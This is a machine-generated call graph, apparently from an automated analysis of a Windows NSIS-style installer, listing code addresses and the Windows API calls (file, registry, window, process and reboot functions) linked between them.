4652->4654 4653->4651 4655 4026e8 SHFileOperationW 4654->4655 4655->4651 4655->4656 4664 401c69 4665 40145c 18 API calls 4664->4665 4666 401c70 4665->4666 4667 4062a3 11 API calls 4666->4667 4668 401c80 4667->4668 4669 405ca0 MessageBoxIndirectW 4668->4669 4670 401a13 4669->4670 4678 402f6e 4679 402f72 4678->4679 4680 402fae 4678->4680 4681 4062a3 11 API calls 4679->4681 4682 40145c 18 API calls 4680->4682 4683 402f7d 4681->4683 4688 402f9d 4682->4688 4684 4062a3 11 API calls 4683->4684 4685 402f90 4684->4685 4686 402fa2 4685->4686 4687 402f98 4685->4687 4690 4060e7 9 API calls 4686->4690 4689 403e74 5 API calls 4687->4689 4689->4688 4690->4688 4691 4023f0 4692 402403 4691->4692 4693 4024da 4691->4693 4694 40145c 18 API calls 4692->4694 4695 404f72 25 API calls 4693->4695 4696 40240a 4694->4696 4701 4024f1 4695->4701 4697 40145c 18 API calls 4696->4697 4698 402413 4697->4698 4699 402429 LoadLibraryExW 4698->4699 4700 40241b GetModuleHandleW 4698->4700 4702 40243e 4699->4702 4703 4024ce 4699->4703 4700->4699 4700->4702 4715 406365 GlobalAlloc WideCharToMultiByte 4702->4715 4704 404f72 25 API calls 4703->4704 4704->4693 4706 402449 4707 40248c 4706->4707 4708 40244f 4706->4708 4709 404f72 25 API calls 4707->4709 4711 401435 25 API calls 4708->4711 4713 40245f 4708->4713 4710 402496 4709->4710 4712 4062a3 11 API calls 4710->4712 4711->4713 4712->4713 4713->4701 4714 4024c0 FreeLibrary 4713->4714 4714->4701 4716 406390 GetProcAddress 4715->4716 4717 40639d GlobalFree 4715->4717 4716->4717 4717->4706 4718 402df3 4719 402dfa 4718->4719 4721 4019ec 4718->4721 4720 402e07 FindNextFileW 4719->4720 4720->4721 4722 402e16 4720->4722 4724 406009 lstrcpynW 4722->4724 4724->4721 4077 402175 4078 401446 18 API calls 4077->4078 4079 40217c 4078->4079 4080 401446 18 API calls 4079->4080 4081 402186 4080->4081 4082 4062a3 11 API calls 4081->4082 4086 402197 4081->4086 4082->4086 4083 4021aa EnableWindow 4085 4030e3 4083->4085 4084 40219f ShowWindow 4084->4085 4086->4083 4086->4084 4732 404077 4733 404081 4732->4733 4734 404084 lstrcpynW lstrlenW 4732->4734 4733->4734 4103 405479 4104 405491 4103->4104 4105 4055cd 4103->4105 4104->4105 4106 40549d 4104->4106 4107 40561e 4105->4107 4108 4055de GetDlgItem GetDlgItem 4105->4108 4109 4054a8 SetWindowPos 4106->4109 4110 4054bb 4106->4110 4112 405678 4107->4112 4120 40139d 80 API calls 4107->4120 4111 403d3f 19 API calls 4108->4111 4109->4110 4114 4054c0 ShowWindow 4110->4114 4115 4054d8 4110->4115 4116 405608 SetClassLongW 4111->4116 4113 403daf SendMessageW 4112->4113 4133 4055c8 4112->4133 4143 40568a 4113->4143 4114->4115 4117 4054e0 DestroyWindow 4115->4117 4118 4054fa 4115->4118 4119 40141d 80 API calls 4116->4119 4172 4058dc 4117->4172 4121 405510 4118->4121 4122 4054ff SetWindowLongW 4118->4122 4119->4107 4123 405650 4120->4123 4126 4055b9 4121->4126 4127 40551c GetDlgItem 4121->4127 4122->4133 4123->4112 4128 405654 SendMessageW 4123->4128 4124 40141d 80 API calls 4124->4143 4125 4058de DestroyWindow KiUserCallbackDispatcher 4125->4172 4182 403dca 4126->4182 4131 40554c 4127->4131 4132 40552f SendMessageW IsWindowEnabled 4127->4132 4128->4133 4130 40590d ShowWindow 4130->4133 4135 405559 4131->4135 4136 4055a0 SendMessageW 4131->4136 4137 40556c 4131->4137 4146 405551 4131->4146 4132->4131 4132->4133 4134 406805 18 API calls 4134->4143 4135->4136 4135->4146 4136->4126 4140 405574 4137->4140 4141 405589 4137->4141 4139 403d3f 19 API calls 4139->4143 4144 40141d 80 API calls 4140->4144 4145 40141d 80 API calls 4141->4145 4142 405587 4142->4126 4143->4124 4143->4125 4143->4133 4143->4134 4143->4139 4163 40581e DestroyWindow 4143->4163 4173 403d3f 4143->4173 4144->4146 4147 405590 4145->4147 4179 403d18 4146->4179 4147->4126 4147->4146 4149 405705 GetDlgItem 4150 405723 ShowWindow KiUserCallbackDispatcher 4149->4150 4151 40571a 4149->4151 4176 403d85 KiUserCallbackDispatcher 4150->4176 4151->4150 4153 40574d EnableWindow 4156 405761 4153->4156 4154 405766 GetSystemMenu EnableMenuItem SendMessageW 4155 405796 SendMessageW 4154->4155 4154->4156 4155->4156 4156->4154 4177 403d98 SendMessageW 4156->4177 4178 406009 lstrcpynW 4156->4178 4159 4057c4 lstrlenW 4160 406805 18 API calls 4159->4160 4161 4057da SetWindowTextW 4160->4161 4162 40139d 80 API calls 4161->4162 4162->4143 4164 405838 CreateDialogParamW 4163->4164 4163->4172 4165 40586b 4164->4165 4164->4172 4166 403d3f 19 API calls 4165->4166 4167 405876 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4166->4167 4168 40139d 80 API calls 4167->4168 4169 4058bc 4168->4169 4169->4133 4170 4058c4 ShowWindow 4169->4170 4171 403daf SendMessageW 4170->4171 4171->4172 4172->4130 4172->4133 4174 406805 18 API calls 4173->4174 4175 403d4a SetDlgItemTextW 4174->4175 4175->4149 4176->4153 4177->4156 4178->4159 4180 403d25 SendMessageW 4179->4180 4181 403d1f 4179->4181 4180->4142 4181->4180 4183 403ddf GetWindowLongW 4182->4183 4193 403e68 4182->4193 4184 403df0 4183->4184 4183->4193 4185 403e02 4184->4185 4186 403dff GetSysColor 4184->4186 4187 403e12 SetBkMode 4185->4187 4188 403e08 SetTextColor 4185->4188 4186->4185 4189 403e30 4187->4189 4190 403e2a GetSysColor 4187->4190 4188->4187 4191 403e41 4189->4191 4192 403e37 SetBkColor 4189->4192 4190->4189 4191->4193 4194 403e54 DeleteObject 4191->4194 4195 403e5b CreateBrushIndirect 4191->4195 4192->4191 4193->4133 4194->4195 4195->4193 4735 4020f9 GetDC GetDeviceCaps 4736 401446 18 API calls 4735->4736 4737 402116 MulDiv 4736->4737 4738 401446 18 API calls 4737->4738 4739 40212c 4738->4739 4740 406805 18 API calls 4739->4740 4741 402165 CreateFontIndirectW 4740->4741 4742 4030dc 4741->4742 4743 4030e3 4742->4743 4745 405f51 wsprintfW 4742->4745 4745->4743 4746 4024fb 4747 40145c 18 API calls 4746->4747 4748 402502 4747->4748 4749 40145c 18 API calls 4748->4749 4750 40250c 4749->4750 4751 40145c 18 API calls 4750->4751 4752 402515 4751->4752 4753 40145c 18 API calls 4752->4753 4754 40251f 4753->4754 4755 40145c 18 API calls 4754->4755 4756 402529 4755->4756 4757 40253d 4756->4757 4758 40145c 18 API calls 4756->4758 4759 4062a3 11 API calls 4757->4759 4758->4757 4760 40256a CoCreateInstance 4759->4760 4761 40258c 4760->4761 4762 40497c GetDlgItem GetDlgItem 4763 4049d2 7 API calls 4762->4763 4768 404bea 4762->4768 4764 404a76 DeleteObject 4763->4764 4765 404a6a SendMessageW 4763->4765 4766 404a81 4764->4766 4765->4764 4769 404ab8 4766->4769 4771 406805 18 API calls 4766->4771 4767 404ccf 4770 404d74 4767->4770 4775 404bdd 4767->4775 4780 404d1e SendMessageW 4767->4780 4768->4767 4778 40484e 5 API calls 4768->4778 4791 404c5a 4768->4791 4774 403d3f 19 API calls 4769->4774 4772 404d89 4770->4772 4773 404d7d SendMessageW 4770->4773 4777 404a9a SendMessageW SendMessageW 4771->4777 4782 404da2 4772->4782 4783 404d9b ImageList_Destroy 4772->4783 4793 404db2 4772->4793 4773->4772 4779 404acc 4774->4779 4781 403dca 8 API calls 4775->4781 4776 404cc1 SendMessageW 4776->4767 4777->4766 4778->4791 4784 403d3f 19 API calls 4779->4784 4780->4775 4786 404d33 SendMessageW 4780->4786 4787 404f6b 4781->4787 4788 404dab GlobalFree 4782->4788 4782->4793 4783->4782 4789 404add 4784->4789 4785 404f1c 4785->4775 4794 404f31 ShowWindow GetDlgItem ShowWindow 4785->4794 4790 404d46 4786->4790 4788->4793 4792 404baa GetWindowLongW SetWindowLongW 4789->4792 4801 404ba4 4789->4801 4804 404b39 SendMessageW 4789->4804 4805 404b67 SendMessageW 4789->4805 4806 404b7b SendMessageW 4789->4806 4800 404d57 SendMessageW 4790->4800 4791->4767 4791->4776 4795 404bc4 4792->4795 4793->4785 4796 404de4 4793->4796 4799 40141d 80 API calls 4793->4799 4794->4775 4797 404be2 4795->4797 4798 404bca ShowWindow 4795->4798 4809 404e12 SendMessageW 4796->4809 4812 404e28 4796->4812 4814 403d98 SendMessageW 4797->4814 4813 403d98 SendMessageW 4798->4813 4799->4796 4800->4770 4801->4792 4801->4795 4804->4789 4805->4789 4806->4789 4807 404ef3 InvalidateRect 4807->4785 4808 404f09 4807->4808 4815 4043ad 4808->4815 4809->4812 4811 404ea1 SendMessageW SendMessageW 4811->4812 4812->4807 4812->4811 4813->4775 4814->4768 4816 4043cd 4815->4816 4817 406805 18 API calls 4816->4817 4818 40440d 4817->4818 4819 406805 18 API calls 4818->4819 4820 404418 4819->4820 4821 406805 18 API calls 4820->4821 4822 404428 lstrlenW wsprintfW SetDlgItemTextW 4821->4822 4822->4785 4823 4026fc 4824 401ee4 4823->4824 4826 402708 4823->4826 4824->4823 4825 406805 18 API calls 4824->4825 4825->4824 4275 4019fd 4276 40145c 18 API calls 4275->4276 4277 401a04 4276->4277 4278 405e7f 2 API calls 4277->4278 4279 401a0b 4278->4279 4827 4022fd 4828 40145c 18 API calls 4827->4828 4829 402304 GetFileVersionInfoSizeW 4828->4829 4830 40232b GlobalAlloc 4829->4830 4834 4030e3 4829->4834 4831 40233f GetFileVersionInfoW 4830->4831 4830->4834 4832 402350 VerQueryValueW 4831->4832 4833 402381 GlobalFree 4831->4833 4832->4833 4836 402369 4832->4836 4833->4834 4840 405f51 wsprintfW 4836->4840 4838 402375 4841 405f51 wsprintfW 4838->4841 4840->4838 4841->4833 4842 402afd 4843 40145c 18 API calls 4842->4843 4844 402b04 4843->4844 4849 405e50 GetFileAttributesW CreateFileW 4844->4849 4846 402b10 4847 4030e3 4846->4847 4850 405f51 wsprintfW 4846->4850 4849->4846 4850->4847 4851 4029ff 4852 401553 19 API calls 4851->4852 4853 402a09 4852->4853 4854 40145c 18 API calls 4853->4854 4855 402a12 4854->4855 4856 402a1f RegQueryValueExW 4855->4856 4858 401a13 4855->4858 4857 402a3f 4856->4857 4861 402a45 4856->4861 4857->4861 4862 405f51 wsprintfW 4857->4862 4860 4029e4 RegCloseKey 4860->4858 4861->4858 4861->4860 4862->4861 4863 401000 4864 401037 BeginPaint GetClientRect 4863->4864 4865 40100c DefWindowProcW 4863->4865 4867 4010fc 4864->4867 4868 401182 4865->4868 4869 401073 CreateBrushIndirect FillRect DeleteObject 4867->4869 4870 401105 4867->4870 4869->4867 4871 401170 EndPaint 4870->4871 4872 40110b CreateFontIndirectW 4870->4872 4871->4868 4872->4871 4873 40111b 6 API calls 4872->4873 4873->4871 4874 401f80 4875 401446 18 API calls 4874->4875 4876 401f88 4875->4876 4877 401446 18 API calls 4876->4877 4878 401f93 4877->4878 4879 401fa3 4878->4879 4880 40145c 18 API calls 4878->4880 4881 401fb3 4879->4881 4882 40145c 18 API calls 4879->4882 4880->4879 4883 402006 4881->4883 4884 401fbc 4881->4884 4882->4881 4886 40145c 18 API calls 4883->4886 4885 401446 18 API calls 4884->4885 4888 401fc4 4885->4888 4887 40200d 4886->4887 4889 40145c 18 API calls 4887->4889 4890 401446 18 API calls 4888->4890 4891 402016 FindWindowExW 4889->4891 4892 401fce 4890->4892 4896 402036 4891->4896 4893 401ff6 SendMessageW 4892->4893 4894 401fd8 SendMessageTimeoutW 4892->4894 4893->4896 4894->4896 4895 4030e3 4896->4895 4898 405f51 wsprintfW 4896->4898 4898->4895 4899 402880 4900 402884 4899->4900 4901 40145c 18 API calls 4900->4901 4902 4028a7 4901->4902 4903 40145c 18 API calls 4902->4903 4904 4028b1 4903->4904 4905 4028ba RegCreateKeyExW 4904->4905 4906 4028e8 4905->4906 4913 4029ef 4905->4913 4907 402934 4906->4907 4908 40145c 18 API calls 4906->4908 4909 402963 4907->4909 4912 401446 18 API calls 4907->4912 4911 4028fc lstrlenW 4908->4911 4910 4029ae RegSetValueExW 4909->4910 4914 40337f 37 API calls 4909->4914 4917 4029c6 RegCloseKey 4910->4917 4918 4029cb 4910->4918 4915 402918 4911->4915 4916 40292a 4911->4916 4919 402947 4912->4919 4920 40297b 4914->4920 4921 4062a3 11 API calls 4915->4921 4922 4062a3 11 API calls 4916->4922 4917->4913 4923 4062a3 11 API calls 4918->4923 4924 4062a3 11 API calls 4919->4924 4930 406224 4920->4930 4926 402922 4921->4926 4922->4907 4923->4917 4924->4909 4926->4910 4929 4062a3 11 API calls 4929->4926 4931 406247 4930->4931 4932 40628a 4931->4932 4933 40625c wsprintfW 4931->4933 4934 402991 4932->4934 4935 406293 lstrcatW 4932->4935 4933->4932 4933->4933 4934->4929 4935->4934 4936 402082 4937 401446 18 API calls 4936->4937 4938 402093 SetWindowLongW 4937->4938 4939 4030e3 4938->4939 3462 403883 #17 SetErrorMode OleInitialize 3536 4062fc GetModuleHandleA 3462->3536 3466 4038f1 GetCommandLineW 3541 406009 lstrcpynW 3466->3541 3468 403903 GetModuleHandleW 3469 40391b 3468->3469 3542 405d06 3469->3542 3472 4039d6 3473 4039f5 GetTempPathW 3472->3473 3546 4037cc 3473->3546 3475 403a0b 3476 403a33 DeleteFileW 3475->3476 3477 403a0f GetWindowsDirectoryW lstrcatW 3475->3477 3554 403587 GetTickCount GetModuleFileNameW 3476->3554 3479 4037cc 11 API calls 3477->3479 3478 405d06 CharNextW 3485 40393c 3478->3485 3481 403a2b 3479->3481 3481->3476 3483 403acc 3481->3483 3482 403a47 3482->3483 3486 403ab1 3482->3486 3487 405d06 CharNextW 3482->3487 3639 403859 3483->3639 3485->3472 3485->3478 3493 4039d8 3485->3493 3582 40592c 3486->3582 3499 403a5e 3487->3499 3490 403ac1 3667 4060e7 3490->3667 3491 403ae1 3646 405ca0 3491->3646 3492 403bce 3495 403c51 3492->3495 3497 4062fc 3 API calls 3492->3497 3650 406009 lstrcpynW 3493->3650 3501 403bdd 3497->3501 3502 403af7 lstrcatW lstrcmpiW 3499->3502 3503 403a89 3499->3503 3504 4062fc 3 API calls 3501->3504 3502->3483 3506 403b13 CreateDirectoryW SetCurrentDirectoryW 3502->3506 3651 40677e 3503->3651 3507 403be6 3504->3507 3509 403b36 3506->3509 3510 403b2b 3506->3510 3511 4062fc 3 API calls 3507->3511 3681 406009 lstrcpynW 3509->3681 3680 406009 lstrcpynW 3510->3680 3515 403bef 3511->3515 3514 403b44 3682 406009 lstrcpynW 3514->3682 3518 403c3d ExitWindowsEx 3515->3518 3523 403bfd GetCurrentProcess 3515->3523 3518->3495 3520 403c4a 3518->3520 3519 403aa6 3666 406009 lstrcpynW 3519->3666 3710 40141d 3520->3710 3526 403c0d 3523->3526 3526->3518 3527 403b79 CopyFileW 3529 403b53 3527->3529 3528 403bc2 3530 406c68 42 API calls 3528->3530 3529->3528 3533 406805 18 API calls 3529->3533 3535 403bad CloseHandle 3529->3535 3683 406805 3529->3683 3702 406c68 3529->3702 3707 405c3f CreateProcessW 3529->3707 3532 403bc9 3530->3532 3532->3483 3533->3529 3535->3529 3537 406314 LoadLibraryA 3536->3537 3538 40631f GetProcAddress 3536->3538 3537->3538 3539 4038c6 SHGetFileInfoW 3537->3539 3538->3539 3540 406009 lstrcpynW 3539->3540 3540->3466 3541->3468 3543 405d0c 3542->3543 3544 40392a CharNextW 3543->3544 3545 405d13 CharNextW 3543->3545 3544->3485 3545->3543 3713 406038 3546->3713 3548 4037e2 3548->3475 3549 4037d8 3549->3548 3722 406722 lstrlenW CharPrevW 3549->3722 3729 405e50 GetFileAttributesW CreateFileW 3554->3729 3556 4035c7 3577 4035d7 3556->3577 3730 406009 lstrcpynW 3556->3730 3558 4035ed 3731 406751 lstrlenW 3558->3731 3562 4035fe GetFileSize 3563 4036fa 3562->3563 3576 403615 3562->3576 3738 4032d2 3563->3738 3565 403703 3567 40373f GlobalAlloc 3565->3567 3565->3577 3772 403368 SetFilePointer 3565->3772 3749 403368 SetFilePointer 3567->3749 3569 4037bd 3573 4032d2 6 API calls 3569->3573 3571 40375a 3750 40337f 3571->3750 3572 403720 3575 403336 ReadFile 3572->3575 3573->3577 3578 40372b 3575->3578 3576->3563 3576->3569 3576->3577 3579 4032d2 6 API calls 3576->3579 3736 403336 ReadFile 3576->3736 3577->3482 3578->3567 3578->3577 3579->3576 3580 403766 3580->3577 3580->3580 3581 403794 SetFilePointer 3580->3581 3581->3577 3583 4062fc 3 API calls 3582->3583 3584 405940 3583->3584 3585 405946 3584->3585 3586 405958 3584->3586 3813 405f51 wsprintfW 3585->3813 3814 405ed3 RegOpenKeyExW 3586->3814 3590 4059a8 lstrcatW 3592 405956 3590->3592 3591 405ed3 3 API calls 3591->3590 3796 403e95 3592->3796 3595 40677e 18 API calls 3596 4059da 3595->3596 3597 405a70 3596->3597 3599 405ed3 3 API calls 3596->3599 3598 40677e 18 API calls 3597->3598 3600 405a76 3598->3600 3601 405a0c 3599->3601 3602 405a86 3600->3602 3603 406805 18 API calls 3600->3603 3601->3597 3607 405a2f lstrlenW 3601->3607 3613 405d06 CharNextW 3601->3613 3604 405aa6 LoadImageW 3602->3604 3820 403e74 3602->3820 3603->3602 3605 405ad1 RegisterClassW 3604->3605 3606 405b66 3604->3606 3611 405b19 SystemParametersInfoW CreateWindowExW 3605->3611 3636 405b70 3605->3636 3612 40141d 80 API calls 3606->3612 3608 405a63 3607->3608 3609 405a3d lstrcmpiW 3607->3609 3616 406722 3 API calls 3608->3616 3609->3608 3614 405a4d GetFileAttributesW 3609->3614 3611->3606 3617 405b6c 3612->3617 3618 405a2a 3613->3618 3619 405a59 3614->3619 3615 405a9c 3615->3604 3620 405a69 3616->3620 3623 403e95 19 API calls 3617->3623 3617->3636 3618->3607 3619->3608 3621 406751 2 API calls 3619->3621 3819 406009 lstrcpynW 3620->3819 3621->3608 3624 405b7d 3623->3624 3625 405b89 ShowWindow LoadLibraryW 3624->3625 3626 405c0c 3624->3626 3628 405ba8 LoadLibraryW 3625->3628 3629 405baf GetClassInfoW 3625->3629 3805 405047 OleInitialize 3626->3805 3628->3629 3630 405bc3 GetClassInfoW RegisterClassW 3629->3630 3631 405bd9 DialogBoxParamW 3629->3631 3630->3631 3633 40141d 80 API calls 3631->3633 3632 405c12 3634 405c16 3632->3634 3635 405c2e 3632->3635 3633->3636 3634->3636 3638 40141d 80 API calls 3634->3638 3637 40141d 80 API calls 3635->3637 3636->3490 3637->3636 3638->3636 3640 403871 3639->3640 3641 403863 CloseHandle 3639->3641 3965 403c83 3640->3965 3641->3640 3647 405cb5 3646->3647 3648 403aef ExitProcess 3647->3648 3649 405ccb MessageBoxIndirectW 3647->3649 3649->3648 3650->3473 4022 406009 lstrcpynW 3651->4022 3653 40678f 3654 405d59 4 API calls 3653->3654 3655 406795 3654->3655 3656 406038 5 API calls 3655->3656 3663 403a97 3655->3663 3662 4067a5 3656->3662 3657 4067dd lstrlenW 3658 4067e4 3657->3658 3657->3662 3659 406722 3 API calls 3658->3659 3661 4067ea GetFileAttributesW 3659->3661 3660 4062d5 2 API calls 3660->3662 3661->3663 3662->3657 3662->3660 3662->3663 3664 406751 2 API calls 3662->3664 3663->3483 3665 406009 lstrcpynW 3663->3665 3664->3657 3665->3519 3666->3486 3668 406110 3667->3668 3669 4060f3 3667->3669 3671 406187 3668->3671 3672 40612d 3668->3672 3675 406104 3668->3675 3670 4060fd CloseHandle 3669->3670 3669->3675 3670->3675 3673 406190 lstrcatW lstrlenW WriteFile 3671->3673 3671->3675 3672->3673 3674 406136 GetFileAttributesW 3672->3674 3673->3675 4023 405e50 GetFileAttributesW CreateFileW 3674->4023 3675->3483 3677 406152 3677->3675 3678 406162 WriteFile 3677->3678 3679 40617c SetFilePointer 3677->3679 3678->3679 3679->3671 3680->3509 3681->3514 3682->3529 3696 406812 3683->3696 3684 406a7f 3685 403b6c DeleteFileW 3684->3685 4026 406009 lstrcpynW 3684->4026 3685->3527 3685->3529 3687 4068d3 GetVersion 3699 4068e0 3687->3699 3688 406a46 lstrlenW 3688->3696 3689 406805 10 API calls 3689->3688 3692 405ed3 3 API calls 3692->3699 3693 406952 GetSystemDirectoryW 3693->3699 3694 406965 GetWindowsDirectoryW 3694->3699 3695 406038 5 API calls 3695->3696 3696->3684 3696->3687 3696->3688 3696->3689 3696->3695 4024 405f51 wsprintfW 3696->4024 4025 406009 lstrcpynW 3696->4025 3697 406805 10 API calls 3697->3699 3698 4069df lstrcatW 3698->3696 3699->3692 3699->3693 3699->3694 3699->3696 3699->3697 3699->3698 3700 406999 SHGetSpecialFolderLocation 3699->3700 3700->3699 3701 4069b1 SHGetPathFromIDListW CoTaskMemFree 3700->3701 3701->3699 3703 4062fc 3 API calls 3702->3703 3704 406c6f 3703->3704 3706 406c90 3704->3706 4027 406a99 lstrcpyW 3704->4027 3706->3529 3708 405c7a 3707->3708 3709 405c6e CloseHandle 3707->3709 3708->3529 3709->3708 3711 40139d 80 API calls 3710->3711 3712 401432 3711->3712 3712->3495 3719 406045 3713->3719 3714 4060bb 3715 4060c1 CharPrevW 3714->3715 3717 4060e1 3714->3717 3715->3714 3716 4060ae CharNextW 3716->3714 3716->3719 3717->3549 3718 405d06 CharNextW 3718->3719 3719->3714 3719->3716 3719->3718 3720 40609a CharNextW 3719->3720 3721 4060a9 CharNextW 3719->3721 3720->3719 3721->3716 3723 4037ea CreateDirectoryW 3722->3723 3724 40673f lstrcatW 3722->3724 3725 405e7f 3723->3725 3724->3723 3726 405e8c GetTickCount GetTempFileNameW 3725->3726 3727 405ec2 3726->3727 3728 4037fe 3726->3728 3727->3726 3727->3728 3728->3475 3729->3556 3730->3558 3732 406760 3731->3732 3733 4035f3 3732->3733 3734 406766 CharPrevW 3732->3734 3735 406009 lstrcpynW 3733->3735 3734->3732 3734->3733 3735->3562 3737 403357 3736->3737 3737->3576 3739 4032f3 3738->3739 3740 4032db 3738->3740 3743 403303 GetTickCount 3739->3743 3744 4032fb 3739->3744 3741 4032e4 DestroyWindow 3740->3741 3742 4032eb 3740->3742 3741->3742 3742->3565 3746 403311 CreateDialogParamW ShowWindow 3743->3746 3747 403334 3743->3747 3773 406332 3744->3773 3746->3747 3747->3565 3749->3571 3752 403398 3750->3752 3751 4033c3 3754 403336 ReadFile 3751->3754 3752->3751 3795 403368 SetFilePointer 3752->3795 3755 4033ce 3754->3755 3756 4033e7 GetTickCount 3755->3756 3757 403518 3755->3757 3759 4033d2 3755->3759 3769 4033fa 3756->3769 3758 40351c 3757->3758 3763 403540 3757->3763 3760 403336 ReadFile 3758->3760 3759->3580 3760->3759 3761 403336 ReadFile 3761->3763 3762 403336 ReadFile 3762->3769 3763->3759 3763->3761 3764 40355f WriteFile 3763->3764 3764->3759 3765 403574 3764->3765 3765->3759 3765->3763 3767 40345c GetTickCount 3767->3769 3768 403485 MulDiv wsprintfW 3784 404f72 3768->3784 3769->3759 3769->3762 3769->3767 3769->3768 3771 4034c9 WriteFile 3769->3771 3777 407312 3769->3777 3771->3759 3771->3769 3772->3572 3774 40634f PeekMessageW 3773->3774 3775 406345 DispatchMessageW 3774->3775 3776 403301 3774->3776 3775->3774 3776->3565 3778 407332 3777->3778 3779 40733a 3777->3779 3778->3769 3779->3778 3780 4073c2 GlobalFree 3779->3780 3781 4073cb GlobalAlloc 3779->3781 3782 407443 GlobalAlloc 3779->3782 3783 40743a GlobalFree 3779->3783 3780->3781 3781->3778 3781->3779 3782->3778 3782->3779 3783->3782 3785 404f8b 3784->3785 3794 40502f 3784->3794 3786 404fa9 lstrlenW 3785->3786 3787 406805 18 API calls 3785->3787 3788 404fd2 3786->3788 3789 404fb7 lstrlenW 3786->3789 3787->3786 3791 404fe5 3788->3791 3792 404fd8 SetWindowTextW 3788->3792 3790 404fc9 lstrcatW 3789->3790 3789->3794 3790->3788 3793 404feb SendMessageW SendMessageW SendMessageW 3791->3793 3791->3794 3792->3791 3793->3794 3794->3769 3795->3751 3797 403ea9 3796->3797 3825 405f51 wsprintfW 3797->3825 3799 403f1d 3800 406805 18 API calls 3799->3800 3801 403f29 SetWindowTextW 3800->3801 3803 403f44 3801->3803 3802 403f5f 3802->3595 3803->3802 3804 406805 18 API calls 3803->3804 3804->3803 3826 403daf 3805->3826 3807 40506a 3810 4062a3 11 API calls 3807->3810 3812 405095 3807->3812 3829 40139d 3807->3829 3808 403daf SendMessageW 3809 4050a5 OleUninitialize 3808->3809 3809->3632 3810->3807 3812->3808 3813->3592 3815 405f07 RegQueryValueExW 3814->3815 3816 405989 3814->3816 3817 405f29 RegCloseKey 3815->3817 3816->3590 3816->3591 3817->3816 3819->3597 3964 406009 lstrcpynW 3820->3964 3822 403e88 3823 406722 3 API calls 3822->3823 3824 403e8e lstrcatW 3823->3824 3824->3615 3825->3799 3827 403dc7 3826->3827 3828 403db8 SendMessageW 3826->3828 3827->3807 3828->3827 3832 4013a4 3829->3832 3830 401410 3830->3807 3832->3830 3833 4013dd MulDiv SendMessageW 3832->3833 3834 4015a0 3832->3834 3833->3832 3835 4015fa 3834->3835 3914 40160c 3834->3914 3836 401601 3835->3836 3837 401742 3835->3837 3838 401962 3835->3838 3839 4019ca 3835->3839 3840 40176e 3835->3840 3841 401650 3835->3841 3842 4017b1 3835->3842 3843 401672 3835->3843 3844 401693 3835->3844 3845 401616 3835->3845 3846 4016d6 3835->3846 3847 401736 3835->3847 3848 401897 3835->3848 3849 4018db 3835->3849 3850 40163c 3835->3850 3851 4016bd 3835->3851 3835->3914 3864 4062a3 11 API calls 3836->3864 3856 401751 ShowWindow 3837->3856 3857 401758 3837->3857 3861 40145c 18 API calls 3838->3861 3854 40145c 18 API calls 3839->3854 3858 40145c 18 API calls 3840->3858 3881 4062a3 11 API calls 3841->3881 3947 40145c 3842->3947 3859 40145c 18 API calls 3843->3859 3941 401446 3844->3941 3853 40145c 18 API calls 3845->3853 3870 401446 18 API calls 3846->3870 3846->3914 3847->3914 3963 405f51 wsprintfW 3847->3963 3860 40145c 18 API calls 3848->3860 3865 40145c 18 API calls 3849->3865 3855 401647 PostQuitMessage 3850->3855 3850->3914 3852 4062a3 11 API calls 3851->3852 3867 4016c7 SetForegroundWindow 3852->3867 3868 40161c 3853->3868 3869 4019d1 SearchPathW 3854->3869 3855->3914 3856->3857 3871 401765 ShowWindow 3857->3871 3857->3914 3872 401775 3858->3872 3873 401678 3859->3873 3874 40189d 3860->3874 3875 401968 GetFullPathNameW 3861->3875 3864->3914 3866 4018e2 3865->3866 3878 40145c 18 API calls 3866->3878 3867->3914 3879 4062a3 11 API calls 3868->3879 3869->3914 3870->3914 3871->3914 3882 4062a3 11 API calls 3872->3882 3883 4062a3 11 API calls 3873->3883 3959 4062d5 FindFirstFileW 3874->3959 3885 40197f 3875->3885 3927 4019a1 3875->3927 3877 40169a 3944 4062a3 lstrlenW wvsprintfW 3877->3944 3888 4018eb 3878->3888 3889 401627 3879->3889 3890 401664 3881->3890 3891 401785 SetFileAttributesW 3882->3891 3892 401683 3883->3892 3909 4062d5 2 API calls 3885->3909 3885->3927 3886 4062a3 11 API calls 3894 4017c9 3886->3894 3897 40145c 18 API calls 3888->3897 3898 404f72 25 API calls 3889->3898 3899 40139d 65 API calls 3890->3899 3900 40179a 3891->3900 3891->3914 3907 404f72 25 API calls 3892->3907 3952 405d59 CharNextW CharNextW 3894->3952 3896 4019b8 GetShortPathNameW 3896->3914 3905 4018f5 3897->3905 3898->3914 3899->3914 3906 4062a3 11 API calls 3900->3906 3901 4018c2 3910 4062a3 11 API calls 3901->3910 3902 4018a9 3908 4062a3 11 API calls 3902->3908 3912 4062a3 11 API calls 3905->3912 3906->3914 3907->3914 3908->3914 3913 401991 3909->3913 3910->3914 3911 4017d4 3915 401864 3911->3915 3918 405d06 CharNextW 3911->3918 3936 4062a3 11 API calls 3911->3936 3916 401902 MoveFileW 3912->3916 3913->3927 3962 406009 lstrcpynW 3913->3962 3914->3832 3915->3892 3917 40186e 3915->3917 3919 401912 3916->3919 3920 40191e 3916->3920 3921 404f72 25 API calls 3917->3921 3923 4017e6 CreateDirectoryW 3918->3923 3919->3892 3925 401942 3920->3925 3930 4062d5 2 API calls 3920->3930 3926 401875 3921->3926 3923->3911 3924 4017fe GetLastError 3923->3924 3928 401827 GetFileAttributesW 3924->3928 3929 40180b GetLastError 3924->3929 3935 4062a3 11 API calls 3925->3935 3958 406009 lstrcpynW 3926->3958 3927->3896 3927->3914 3928->3911 3932 4062a3 11 API calls 3929->3932 3933 401929 3930->3933 3932->3911 3933->3925 3938 406c68 42 API calls 3933->3938 3934 401882 SetCurrentDirectoryW 3934->3914 3937 40195c 3935->3937 3936->3911 3937->3914 3939 401936 3938->3939 3940 404f72 25 API calls 3939->3940 3940->3925 3942 406805 18 API calls 3941->3942 3943 401455 3942->3943 3943->3877 3945 4060e7 9 API calls 3944->3945 3946 4016a7 Sleep 3945->3946 3946->3914 3948 406805 18 API calls 3947->3948 3949 401488 3948->3949 3950 401497 3949->3950 3951 406038 5 API calls 3949->3951 3950->3886 3951->3950 3953 405d76 3952->3953 3954 405d88 3952->3954 3953->3954 3955 405d83 CharNextW 3953->3955 3956 405dac 3954->3956 3957 405d06 CharNextW 3954->3957 3955->3956 3956->3911 3957->3954 3958->3934 3960 4018a5 3959->3960 3961 4062eb FindClose 3959->3961 3960->3901 3960->3902 3961->3960 3962->3927 3963->3914 3964->3822 3966 403c91 3965->3966 3967 403876 3966->3967 3968 403c96 FreeLibrary GlobalFree 3966->3968 3969 406c9b 3967->3969 3968->3967 